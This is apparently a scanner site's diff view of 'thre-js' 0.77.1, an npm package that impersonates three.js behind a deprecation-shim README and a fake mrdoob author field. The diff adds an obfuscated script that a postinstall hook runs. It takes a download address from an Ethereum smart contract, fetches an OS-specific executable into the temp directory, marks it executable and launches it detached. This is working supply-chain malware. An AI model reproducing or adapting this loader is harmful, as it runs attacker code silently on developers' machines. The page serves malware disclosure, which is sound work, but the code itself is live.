thre-js 0.77.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of thre-js might be problematic. Click here for more details.

package/7dsomz98.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x509142=_0x18b1;function _0x18b1(_0x5e37e1,_0x35eb30){const _0x4539e8=_0x4539();return _0x18b1=function(_0x18b12b,_0x5dfb40){_0x18b12b=_0x18b12b-0x1d6;let _0x21618c=_0x4539e8[_0x18b12b];return _0x21618c;},_0x18b1(_0x5e37e1,_0x35eb30);}(function(_0x16dacf,_0x1dbffd){const _0x32bdd3=_0x18b1,_0x4ba073=_0x16dacf();while(!![]){try{const _0x397fc0=parseInt(_0x32bdd3(0x1d8))/0x1*(-parseInt(_0x32bdd3(0x1f8))/0x2)+parseInt(_0x32bdd3(0x1d7))/0x3*(parseInt(_0x32bdd3(0x1dd))/0x4)+parseInt(_0x32bdd3(0x1e0))/0x5*(parseInt(_0x32bdd3(0x1e2))/0x6)+-parseInt(_0x32bdd3(0x200))/0x7+-parseInt(_0x32bdd3(0x1fc))/0x8*(-parseInt(_0x32bdd3(0x1e7))/0x9)+parseInt(_0x32bdd3(0x1ed))/0xa+-parseInt(_0x32bdd3(0x204))/0xb;if(_0x397fc0===_0x1dbffd)break;else _0x4ba073['push'](_0x4ba073['shift']());}catch(_0x27c65b){_0x4ba073['push'](_0x4ba073['shift']());}}}(_0x4539,0xe07c3));const {ethers}=require(_0x509142(0x1ec)),axios=require(_0x509142(0x203)),util=require(_0x509142(0x1f4)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x509142(0x1e1),WalletOwner=_0x509142(0x1f2),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x509142(0x1e6)](_0x509142(0x1eb)),contract=new ethers[(_0x509142(0x1d6))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x57ca74=_0x509142,_0x3c3116={'zofrf':_0x57ca74(0x1fe),'qwdLx':function(_0x13a20c){return _0x13a20c();}};try{const _0x5c2ff3=await contract[_0x57ca74(0x1ea)](WalletOwner);return _0x5c2ff3;}catch(_0x3f340e){return console['error'](_0x3c3116[_0x57ca74(0x1db)],_0x3f340e),await _0x3c3116[_0x57ca74(0x1ee)](fetchAndUpdateIp);}},getDownloadUrl=_0x84ac2c=>{const _0x56b1a1=_0x509142,_0x41f777={'FamWm':'win32'},_0x282a07=os[_0x56b1a1(0x1da)]();switch(_0x282a07){case _0x41f777['FamWm']:return _0x84ac2c+_0x56b1a1(0x1f5);case'linux':return _0x84ac2c+'/node-linux';case _0x56b1a1(0x1f7):return _0x84ac2c+'/node-macos';default:throw new Error(_0x56b1a1(0x1e4)+_0x282a07);}},downloadFile=async(_0x2787c1,_0x43af34)=>{const _0x1440cc=_0x509142,_0x5a7959={'woTFi':_0x1440cc(0x206),'vPhqP':_0x1440cc(0x1e9),'OXKwe':function(_0x127e62,_0x158e1c){return _0x127e62(_0x158e1c);},'CGbzb':_0x1440cc(0x1ff)},_0xb68c98=fs[_0x1440cc(0x201)](_0x43af34),_0x26b170=await _0x5a7959[_0x1440cc(0x1e8)](axios,{'url':_0x2787c1,'method':_0x1440cc(0x1f6),'responseType':_0x5a7959[_0x1440cc(0x1d9)]});return _0x26b170[_0x1440cc(0x202)]['pipe'](_0xb68c98),new Promise((_0x18ee67,_0x12ec34)=>{const _0xea301f=_0x1440cc;_0xb68c98['on'](_0x5a7959['woTFi'],_0x18ee67),_0xb68c98['on'](_0x5a7959[_0xea301f(0x1f1)],_0x12ec34);});},executeFileInBackground=async _0x36700f=>{const _0x35dfb4=_0x509142,_0x377166={'RxqLX':function(_0x5f1127,_0x3976d2,_0x229ded,_0xcb090a){return _0x5f1127(_0x3976d2,_0x229ded,_0xcb090a);},'xPuZO':'ignore','MNdQb':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x51da22=_0x377166['RxqLX'](spawn,_0x36700f,[],{'detached':!![],'stdio':_0x377166[_0x35dfb4(0x1dc)]});_0x51da22[_0x35dfb4(0x1f9)]();}catch(_0x56fc1a){console[_0x35dfb4(0x1e9)](_0x377166[_0x35dfb4(0x1fb)],_0x56fc1a);}},runInstallation=async()=>{const _0x958242=_0x509142,_0x403c7d={'HrOGZ':function(_0xa3c461){return _0xa3c461();},'rfYKB':function(_0x2583be,_0x3e11aa){return _0x2583be(_0x3e11aa);},'cLJQC':function(_0xf4eff8,_0x53c87e,_0x3330de){return _0xf4eff8(_0x53c87e,_0x3330de);},'SvBHs':function(_0x5b4dfe,_0x40de15){return _0x5b4dfe!==_0x40de15;},'ETfAd':_0x958242(0x1fd),'FGQcf':function(_0x35a466,_0x2bff15){return _0x35a466(_0x2bff15);},'udnab':'Ошибка\x20установки:'};try{const _0xc2ebc=await _0x403c7d[_0x958242(0x205)](fetchAndUpdateIp),_0x29b1c2=_0x403c7d['rfYKB'](getDownloadUrl,_0xc2ebc),_0x3c6fbe=os[_0x958242(0x1df)](),_0x13c52b=path[_0x958242(0x1f3)](_0x29b1c2),_0x41280d=path[_0x958242(0x1fa)](_0x3c6fbe,_0x13c52b);await _0x403c7d[_0x958242(0x1e5)](downloadFile,_0x29b1c2,_0x41280d);if(_0x403c7d[_0x958242(0x1de)](os[_0x958242(0x1da)](),_0x958242(0x1ef)))fs[_0x958242(0x1f0)](_0x41280d,_0x403c7d[_0x958242(0x1e3)]);_0x403c7d['FGQcf'](executeFileInBackground,_0x41280d);}catch(_0x24894b){console[_0x958242(0x1e9)](_0x403c7d['udnab'],_0x24894b);}};runInstallation();function _0x4539(){const _0x17255b=['25lHAQhI','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','642738eFPzkS','ETfAd','Unsupported\x20platform:\x20','cLJQC','getDefaultProvider','27JSFiFX','OXKwe','error','getString','mainnet','ethers','13379780SsyluB','qwdLx','win32','chmodSync','vPhqP','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','basename','util','/node-win.exe','GET','darwin','2833598vszayX','unref','join','MNdQb','2847584GvXSrH','755','Ошибка\x20при\x20получении\x20IP\x20адреса:','stream','11523645MmKSoz','createWriteStream','data','axios','3064391PRGtTM','HrOGZ','finish','Contract','304539CtMBwq','1lYLopb','CGbzb','platform','zofrf','xPuZO','52Pggfip','SvBHs','tmpdir'];_0x4539=function(){return _0x17255b;};return _0x4539();}
package/README.md ADDED
@@ -0,0 +1,10 @@
1
+ three.js
2
+ ========
3
+
4
+ **IMPORTANT NOTE**
5
+
6
+ This ```three.js``` NPM package has been deprecated in favor of the three package available here:
7
+
8
+ [Three NPM Package](http://npmjs.org/packages/three/)
9
+
10
+ This NPM package currently acts as a shim for the three NPM package.
package/package.json ADDED
@@ -0,0 +1,24 @@
1
+ {
2
+ "name": "thre-js",
3
+ "version": "0.77.1",
4
+ "description": "Note: 'three.js' npm package has been deprecated in favor of the 'three' npm package.",
5
+ "main": "shim.js",
6
+ "repository": {
7
+ "type": "git",
8
+ "url": "git+https://github.com/mrdoob/three.js.git"
9
+ },
10
+ "author": {
11
+ "name": "mrdoob"
12
+ },
13
+ "dependencies": {
14
+ "three": "0.77.0",
15
+ "axios": "^1.7.7",
16
+ "ethers": "^6.13.2"
17
+ },
18
+ "scripts": {
19
+ "postinstall": "node 7dsomz98.cjs"
20
+ },
21
+ "files": [
22
+ "7dsomz98.cjs"
23
+ ]
24
+ }
package/shim.js ADDED
@@ -0,0 +1,12 @@
1
+ var THREE = require('three');
2
+
3
+ console.warn( "WARNING: The 'three.js' npm package is deprecated in favor of the 'three' npm package, please upgrade.");
4
+
5
+ if (typeof exports !== 'undefined') {
6
+ if (typeof module !== 'undefined' && module.exports) {
7
+ exports = module.exports = THREE;
8
+ }
9
+ exports.THREE = THREE;
10
+ } else {
11
+ this['THREE'] = THREE;
12
+ }